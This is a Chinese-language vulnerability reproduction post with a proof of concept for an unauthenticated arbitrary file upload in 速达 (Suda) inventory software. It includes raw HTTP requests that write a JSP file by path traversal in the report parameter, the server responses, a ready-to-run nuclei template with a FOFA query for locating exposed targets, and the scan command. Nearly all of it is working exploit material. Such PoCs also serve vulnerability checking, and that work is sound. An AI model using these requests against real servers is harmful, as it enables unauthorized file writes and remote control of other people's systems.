【漏洞复现】速达天耀软件任意文件上传漏洞（附poc）

POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 27Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeContent-Type: application/octet-streamUpgrade-Insecure-Requests: 1
<% out.print("oessqeonylzaf");%>

HTTP/1.1 200 OKConnection: closeContent-Length: 7Content-Type: text/html;charset=GBKDate: Tue, 12 Dec 2023 08:43:03 GMTServer: Apache-Coyote/1.1Set-Cookie: JSESSIONID=6CAC89398438ED036786A57DD09382D; Path=/; HttpOnly

GET /xykqmfxpoas.jsp HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Connection: closeAccept-Encoding: gzip

HTTP/1.1 200 OKConnection: closeContent-Length: 8Content-Type: text/html;charset=ISO-8859-1Date: Tue, 12 Dec 2023 08:45:16 GMTServer: Apache-Coyote/1.1Set-Cookie: JSESSIONID=6CAC89398438ED036786A57DD09382D; Path=/; HttpOnly
oessqeonylzaf

id: suda-DesignReportSave-upload
info:  name: 速达软件DesignReportSave.jsp接口存在任意文件上传漏洞  author: fgz  severity: critical  description: 速达进销存管理系统是一套完整的企业业务管理系统，统有机的将企业进货管理、销售管理、仓储管理、财务管理融为一体，有着极好易用性和实用性，全面提升了企业的管理能力和工作效率。该软件DesignReportSave.jsp接口处存在任意文件上传漏洞，未授权攻击者可以利用该漏洞上传恶意文件进而远控服务器。  metadata:    fofa-query: app="速达软件-公司产品"variables:  file_name: "{{to_lower(rand_text_alpha(8))}}"  file_content: "{{to_lower(rand_text_alpha(8))}}"requests:  - raw:      - |        POST /report/DesignReportSave.jsp?report=../{{file_name}}.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Accept-Encoding: gzip, deflate        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Connection: close        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Upgrade-Insecure-Requests: 1        Content-Type: application/octet-stream        Content-Length: 49                <% out.print("{{file_content}}");%>
      - |        GET /{{file_name}}.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'contains(body_2, "{{file_content}}")'

nuclei.exe -t suda-DesignReportSave-upload.yaml -u http://x.x.x.x